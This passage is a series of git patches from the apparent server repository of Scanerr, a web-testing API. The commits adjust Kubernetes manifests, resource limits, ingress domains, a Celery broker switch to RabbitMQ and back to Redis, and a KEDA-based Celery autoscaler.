-  - ReadWriteOnce
-  resources:
-    requests:
-      storage: 5Gi
-  storageClassName: do-block-storage
-
----
\ No newline at end of file
+    - ReadWriteMany
+  persistentVolumeReclaimPolicy: Retain
\ No newline at end of file
diff --git a/k8s/prod/app-volumeclaim.yaml b/k8s/prod/app-volumeclaim.yaml
new file mode 100644
index 00000000..4fd2cff4
--- /dev/null
+++ b/k8s/prod/app-volumeclaim.yaml
@@ -0,0 +1,11 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-pvc
+spec:
+  accessModes:
+    - ReadWriteMany
+  resources:
+    requests:
+      storage: 1Gi
+  storageClassName: do-block-storage
\ No newline at end of file

From 59904f0f3e10c26ea0b1fa093006a8560d88a68d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:05:25 -0500
Subject: [PATCH 039/752] notes

---
 README.md               | 2 +-
 k8s/kubernetes-notes.md | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 9b015f17..37ea55a9 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io/api/v1/auth)
+[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)](https://api.scanerr.io/)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index e3d8e705..d959239d 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,7 +108,8 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 

From c4273611ea14a61a0c3adc03c889f3973376078a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 15:22:26 -0500
Subject: [PATCH 040/752] increasing resource limits

---
 k8s/prod/app-deployment.yaml    | 10 +++++-----
 k8s/prod/celery-deployment.yaml | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5ef62e8b..54296114 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -38,11 +38,11 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "2"
-              memory: "2Gi"
-            requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "4"
+              memory: "6Gi"
+            # requests:
+            #   cpu: "500m"
+            #   memory: "500Mi"
       #     volumeMounts:
       #      - mountPath: "/app/api/migrations"
       #        name: my-app-volume
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 4e9d7d72..51d102a0 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -26,9 +26,9 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "2"
-              memory: "2Gi"
-            requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "4"
+              memory: "6Gi"
+            # requests:
+            #   cpu: "500m"
+            #   memory: "500Mi"
 

From 0fd2641c1ae6608e79e30750d3579d76a1f7a076 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:06:54 -0500
Subject: [PATCH 041/752] deployed to prod domain

---
 k8s/kubernetes-notes.md         |  2 +-
 k8s/prod/app-deployment.yaml    | 10 +++++-----
 k8s/prod/app-ingress.yaml       | 14 +++++++-------
 k8s/prod/celery-deployment.yaml | 10 +++++-----
 4 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index d959239d..4e2c2275 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -102,7 +102,7 @@ kubectl port-forward service/app-service 8000:8000
 
 ### 3. Update ingress-nginx-controler "Service file" with domain
 - add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api2.scanerr.io"`
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
 
 
 ### 4. Spin up Scanerr deployments and services
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 54296114..7ed0a1fc 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server
+          image: landonr/scanerr-server:eead9ec # <IMAGE> 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -38,11 +38,11 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "4"
+              cpu: "6"
               memory: "6Gi"
-            # requests:
-            #   cpu: "500m"
-            #   memory: "500Mi"
+            requests:
+              cpu: "500m"
+              memory: "500Mi"
       #     volumeMounts:
       #      - mountPath: "/app/api/migrations"
       #        name: my-app-volume
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index b992937d..3e788c57 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -2,17 +2,17 @@ apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
   ## ensure below section is commented out on first creation ##
-  annotations:
-    cert-manager.io/cluster-issuer: letsencrypt-nginx     
+  # annotations:
+  #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
   name: app-ingress
 spec:
   ## ensure below section is comented out on first creation ##
-  tls:
-    - hosts:
-      - api2.scanerr.io
-      secretName: letsencrypt-nginx
+  # tls:
+  #   - hosts:
+  #     - api.scanerr.io
+  #     secretName: letsencrypt-nginx
   rules:
-  - host: api2.scanerr.io
+  - host: api.scanerr.io
     http:
       paths:
       - backend:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 51d102a0..e69af43f 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server
+          image: landonr/scanerr-server:eead9ec # <IMAGE> 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -26,9 +26,9 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "4"
+              cpu: "6"
               memory: "6Gi"
-            # requests:
-            #   cpu: "500m"
-            #   memory: "500Mi"
+            requests:
+              cpu: "500m"
+              memory: "500Mi"
 

From 8f2c38c269313233bc651c4a898278b41e4d37ef Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:21:55 -0500
Subject: [PATCH 042/752] new debugging added

---
 app/api/v1/ops/services.py      | 15 ++++++++++-----
 k8s/prod/app-deployment.yaml    |  2 +-
 k8s/prod/app-volume.yaml        | 11 -----------
 k8s/prod/app-volumeclaim.yaml   | 11 -----------
 k8s/prod/celery-deployment.yaml |  2 +-
 5 files changed, 12 insertions(+), 29 deletions(-)
 delete mode 100644 k8s/prod/app-volume.yaml
 delete mode 100644 k8s/prod/app-volumeclaim.yaml

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b4b09345..a875bcd9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -857,7 +857,8 @@ def create_many_scans(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -880,7 +881,8 @@ def create_many_scans(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1062,7 +1064,8 @@ def delete_many_scans(request):
                     scan.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
@@ -1330,7 +1333,8 @@ def create_many_tests(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
@@ -1353,7 +1357,8 @@ def create_many_tests(request):
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
-            except:
+            except Exception as e:
+                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 7ed0a1fc..a0c1b583 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server:eead9ec # <IMAGE> 
+          image: <IMAGE> # landonr/scanerr-server:eead9ec 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-volume.yaml b/k8s/prod/app-volume.yaml
deleted file mode 100644
index ff0dd44d..00000000
--- a/k8s/prod/app-volume.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: app-pv
-spec:
-  capacity:
-    storage: 1Gi
-  volumeMode: Filesystem
-  accessModes:
-    - ReadWriteMany
-  persistentVolumeReclaimPolicy: Retain
\ No newline at end of file
diff --git a/k8s/prod/app-volumeclaim.yaml b/k8s/prod/app-volumeclaim.yaml
deleted file mode 100644
index 4fd2cff4..00000000
--- a/k8s/prod/app-volumeclaim.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-apiVersion: v1
-kind: PersistentVolumeClaim
-metadata:
-  name: app-pvc
-spec:
-  accessModes:
-    - ReadWriteMany
-  resources:
-    requests:
-      storage: 1Gi
-  storageClassName: do-block-storage
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index e69af43f..002844b4 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server:eead9ec # <IMAGE> 
+          image: <IMAGE> # landonr/scanerr-server:eead9ec 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From d2eb7ab5fbc2f8414deba66b0e838884b6dc5d43 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 17:41:27 -0500
Subject: [PATCH 043/752] fixed bulk test creation

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a875bcd9..188b27bb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1249,7 +1249,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
-                page_id=page.id,
+                page_id=p.id,
                 test_id=test.id,
                 configs=configs,
                 type=test_type,

From 97f52401a3a4d6f88dcfcdbd9502b52a3217b9c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 22 Jul 2023 20:20:00 -0500
Subject: [PATCH 044/752] testing more replicas for celery

---
 k8s/prod/celery-deployment.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 002844b4..e1e284ce 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -5,7 +5,7 @@ metadata:
   labels:
     deployment: celery
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       app: celery-deployment

From 31288cedeba294468e26ca6d27a257cf035c1761 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:38:12 -0500
Subject: [PATCH 045/752] trying rabbit mq

---
 app/scanerr/settings.py           |  9 ++++--
 k8s/kubernetes-notes.md           |  2 ++
 k8s/prod/rabbitmq-deployment.yaml | 50 +++++++++++++++++++++++++++++++
 3 files changed, 58 insertions(+), 3 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 1d4b50c8..d16defa1 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,8 +191,12 @@
 
 
 # Redis and Celery Conf
-CELERY_BROKER_URL = "redis://redis:6379"
-CELERY_RESULT_BACKEND = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_RESULT_BACKEND = "redis://redis:6379"
+
+# RabbitMQ and Celery Conf
+CELERY_BROKER_URL = "rabbitmp://rabbitmp:5672"
+CELERY_RESULT_BACKEND = "rabbitmp://rabbitmp:5672"
 
 
 
@@ -217,7 +221,6 @@
 AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE')
 
 
-
 # google oAuth2
 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID')
 GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET')
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 4e2c2275..8cffcaab 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,6 +108,8 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+  
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..0795c6ec
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,50 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      service: rabbitmq
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        service: rabbitmq
+    spec:
+      restartPolicy: Always
+      containers:
+        - image: rabbitmq:alpine
+          name: rabbitmq
+          ports:
+            - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+status: {}
+
+
+
+---
+
+apiVersion: v1
+kind: Service
+metadata:  
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  ports:
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
+  selector:
+    service: rabbitmq
+

From e34ee964ae8f49879041108ae924e5769f2359da Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:48:32 -0500
Subject: [PATCH 046/752] testing rabbit

---
 app/scanerr/settings.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index d16defa1..77bca5f0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -195,8 +195,8 @@
 # CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "rabbitmp://rabbitmp:5672"
-CELERY_RESULT_BACKEND = "rabbitmp://rabbitmp:5672"
+CELERY_BROKER_URL = "amqp://rabbitmq:5672"
+CELERY_RESULT_BACKEND = "amqp://rabbitmq:5672"
 
 
 

From f83e4103cc0aa7bdc870909930675b19c5a6528a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 13:51:16 -0500
Subject: [PATCH 047/752] added rabbitmq library for py client support

---
 requirements.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/requirements.txt b/requirements.txt
index e546b252..854fe5da 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -24,6 +24,7 @@ humanize==3.7.0
 idna==2.10
 imutils==0.5.4
 kombu==5.1.0
+librabbitmq==2.0.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64

From 75cfe196aa7af605079d0ac43aeb758a4408ef3b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:17:28 -0500
Subject: [PATCH 048/752] new rpc from amqp

---
 app/scanerr/settings.py      |  4 ++--
 k8s/prod/keda-deplyment.yaml | 29 +++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/keda-deplyment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 77bca5f0..97510869 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -195,8 +195,8 @@
 # CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "amqp://rabbitmq:5672"
-CELERY_RESULT_BACKEND = "amqp://rabbitmq:5672"
+CELERY_BROKER_URL = "rpc://rabbitmq:5672"
+CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/keda-deplyment.yaml
new file mode 100644
index 00000000..02fd49db
--- /dev/null
+++ b/k8s/prod/keda-deplyment.yaml
@@ -0,0 +1,29 @@
+apiVersion: keda.sh/v1alpha1
+kind: ScaledObject
+metadata:
+  name: celery-worker-scaler
+  namespace: celery-workers
+spec:
+  scaleTargetRef:
+    name: celery-worker
+  pollingInterval: 3
+  minReplicaCount: 2
+  maxReplicaCount: 30
+  triggers:
+    - type: rabbitmq
+      metadata:
+        queueName: celery
+        queueLength: "10"
+      authenticationRef:
+        name: rabbitmq-worker-trigger
+---
+apiVersion: keda.sh/v1alpha1
+kind: TriggerAuthentication
+metadata:
+  name: rabbitmq-worker-trigger
+  namespace: celery-workers
+spec:
+  secretTargetRef:
+    - parameter: host
+      name: celery-workers-secret
+      key: CELERY_BROKER_URL
\ No newline at end of file

From d1f07d8e517ae8d3a9900696e65678084befb7c8 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:28:09 -0500
Subject: [PATCH 049/752] removed rabbitmq pipy dep

---
 k8s/kubernetes-notes.md | 2 +-
 requirements.txt        | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 8cffcaab..f0f48aab 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -108,7 +108,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-  
+- `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
diff --git a/requirements.txt b/requirements.txt
index 854fe5da..e546b252 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -24,7 +24,6 @@ humanize==3.7.0
 idna==2.10
 imutils==0.5.4
 kombu==5.1.0
-librabbitmq==2.0.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64

From 4c98519767910610ee752032771976363a8f0f7f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:46:00 -0500
Subject: [PATCH 050/752] back to redis

---
 app/scanerr/settings.py      |  8 ++++----
 k8s/kubernetes-notes.md      |  2 +-
 k8s/prod/keda-deplyment.yaml | 29 ++++++++++-------------------
 3 files changed, 15 insertions(+), 24 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 97510869..2afb3663 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -191,12 +191,12 @@
 
 
 # Redis and Celery Conf
-# CELERY_BROKER_URL = "redis://redis:6379"
-# CELERY_RESULT_BACKEND = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
-CELERY_BROKER_URL = "rpc://rabbitmq:5672"
-CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
+# CELERY_BROKER_URL = "rpc://rabbitmq:5672"
+# CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 
diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index f0f48aab..40db6f91 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
+<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/keda-deplyment.yaml
index 02fd49db..de2f1d2c 100644
--- a/k8s/prod/keda-deplyment.yaml
+++ b/k8s/prod/keda-deplyment.yaml
@@ -1,29 +1,20 @@
 apiVersion: keda.sh/v1alpha1
 kind: ScaledObject
 metadata:
-  name: celery-worker-scaler
-  namespace: celery-workers
+  name: celery-scaler
 spec:
   scaleTargetRef:
-    name: celery-worker
+    name: celery-deployment
   pollingInterval: 3
   minReplicaCount: 2
   maxReplicaCount: 30
   triggers:
-    - type: rabbitmq
+    - type: redis
       metadata:
-        queueName: celery
-        queueLength: "10"
-      authenticationRef:
-        name: rabbitmq-worker-trigger
----
-apiVersion: keda.sh/v1alpha1
-kind: TriggerAuthentication
-metadata:
-  name: rabbitmq-worker-trigger
-  namespace: celery-workers
-spec:
-  secretTargetRef:
-    - parameter: host
-      name: celery-workers-secret
-      key: CELERY_BROKER_URL
\ No newline at end of file
+        address: redis:6379 # Format must be host:port
+        listName: celery # Required
+        listLength: "5" # Required
+        activationListLength: "5" # optional
+        enableTLS: "false" # optional
+        unsafeSsl: "false" # optional
+        databaseIndex: "0" # optional

From a98111f062d47ed8d51c79daa4b0950cc048c92b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 14:49:50 -0500
Subject: [PATCH 051/752] removed rabbitmq

---
 k8s/kubernetes-notes.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 40db6f91..427e85b8 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,7 +109,6 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`

From d95697182dee2f93d4a92e045511a995ad16d599 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 23 Jul 2023 22:09:30 -0500
Subject: [PATCH 052/752] Added celery auto scaler

---
 k8s/kubernetes-notes.md                       |  1 +
 ...-deplyment.yaml => celery-autoscaler.yaml} |  3 +-
 k8s/prod/celery-deployment.yaml               |  6 +--
 k8s/prod/rabbitmq-deployment.yaml             | 50 -------------------
 4 files changed, 6 insertions(+), 54 deletions(-)
 rename k8s/prod/{keda-deplyment.yaml => celery-autoscaler.yaml} (83%)
 delete mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 427e85b8..6a79b203 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -113,6 +113,7 @@ kubectl port-forward service/app-service 8000:8000
 <!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
 
 
 ### 5. Add app Ingress
diff --git a/k8s/prod/keda-deplyment.yaml b/k8s/prod/celery-autoscaler.yaml
similarity index 83%
rename from k8s/prod/keda-deplyment.yaml
rename to k8s/prod/celery-autoscaler.yaml
index de2f1d2c..fd908062 100644
--- a/k8s/prod/keda-deplyment.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -11,10 +11,11 @@ spec:
   triggers:
     - type: redis
       metadata:
-        address: redis:6379 # Format must be host:port
+        address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
         listName: celery # Required
         listLength: "5" # Required
         activationListLength: "5" # optional
         enableTLS: "false" # optional
         unsafeSsl: "false" # optional
         databaseIndex: "0" # optional
+
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index e1e284ce..095cac37 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:eead9ec 
+          image:  <IMAGE> # landonr/scanerr-server:25a7e15 #
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -26,8 +26,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "6"
-              memory: "6Gi"
+              cpu: "2"
+              memory: "4Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
deleted file mode 100644
index 0795c6ec..00000000
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ /dev/null
@@ -1,50 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      service: rabbitmq
-  strategy: {}
-  template:
-    metadata:
-      labels:
-        service: rabbitmq
-    spec:
-      restartPolicy: Always
-      containers:
-        - image: rabbitmq:alpine
-          name: rabbitmq
-          ports:
-            - containerPort: 5672
